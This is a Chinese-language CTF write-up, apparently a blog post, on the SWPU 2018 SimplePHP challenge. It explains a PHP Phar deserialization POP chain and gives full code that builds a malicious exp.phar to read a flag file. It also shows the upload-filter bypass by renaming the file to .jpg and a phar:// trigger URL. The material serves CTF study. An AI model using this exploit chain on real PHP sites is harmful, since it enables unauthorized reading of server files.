新手大白话 [SWPU 2018]SimplePHP Phar反序列化

今天再做个Phar反序列化巩固下。
进入题目发现了查看文件与上传文件,与自己的IP。

利用burp抓包进行查看,

先尝试index.php,发现base.php,查看base.php

发现flag所在文件,再查看file.php,发现function.php class.php

点击查看代码
class.php
 <?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?> 
在class.php中一眼可以看出注入点base64_encode(file_get_contents($value)),流程是__get->get->file_get,如何触发__get成为问题,__get的触发条件是在获取私有属性时自动调用,可以发现在Show中的__toString中可以触发,而__tostring则在C1e4r类中的echo触发,那么整个pop链的构造很清晰了。上payload:
点击查看代码
<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct()
    {
        $this->str['str']=new Test();
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }

    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file='/var/www/html/f1ag.php';
    public $params;
    public function __construct()
    {
        $this->params['source']=$this->file;
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}

$a = new C1e4r(new Show());

$phar = new Phar('exp.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER();?>');
$phar->setMetadata($a);
$phar->addFromString('1.txt','1');
$phar->stopBuffering();

跟上次一样将代码网页进行部署访问得到exp.phar,因为在function.php中有后缀限制,所以改为exp.jpg进行上传。这时发现没有返回文件地址,我们在function中可以发现文件名为md5('你上传的文件名'.'用户的ip') 在查看文件页面利用burp抓包进行访问 payload: file.php?file=phar://upload/xxxxxxxxx.jpg
posted @ 2024-04-22 14:32  jockerliu  阅读(14)  评论(0编辑  收藏  举报